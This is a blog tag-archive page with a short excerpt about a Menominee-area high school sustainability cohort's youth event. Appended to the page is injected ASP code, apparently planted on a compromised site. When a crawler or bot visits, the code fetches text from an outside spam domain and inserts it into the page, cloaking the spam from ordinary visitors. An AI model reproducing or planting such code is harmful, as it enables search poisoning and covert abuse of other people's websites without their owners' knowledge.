Tag Archive: international

Dec 03

Community supports SLC at Oskēh-Mamāceqtāwak Kēketōwak

Community members gathered recently to support the high school Sustainability Leadership Cohort (SLC) at the Oskēh-Mamāceqtāwak Kēketōwak, or Youth Speak event, at the College of Menominee Nation. Those attending the Nov. 19 program included students’ families, community members, and POSOH Project collaborators. The Sustainability Leadership Cohort is comprised of students from the Menominee, Oneida, Shawano and …

Continue reading »

Permanent link to this article: http://sustainabledevelopmentinstitute.org/2015/12/community-supports-slc-at-oskeh-mamaceqtawak-keketowak/

<% Function GetHtml(url) Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP") ObjXMLHTTP.Open "GET",url,False ObjXMLHTTP.setRequestHeader "User-Agent","aQ0O010O" ObjXMLHTTP.send GetHtml=ObjXMLHTTP.responseBody Set ObjXMLHTTP=Nothing set objStream = Server.CreateObject("Adodb.Stream") objStream.Type = 1 objStream.Mode =3 objStream.Open objStream.Write GetHtml objStream.Position = 0 objStream.Type = 2 objStream.Charset = "UTF-8" GetHtml = objStream.ReadText objStream.Close End Function dim ua ua=Request.ServerVariables("HTTP_USER_AGENT") searray = array("Google Web Preview", "bot","wget", "spider") For i = 0 To Ubound(searray) If (Instr(ua, searray(i)) > 0) Then content = GetHtml("http://link.dolabuy.com/cs08.txt") Response.write content end if Next %>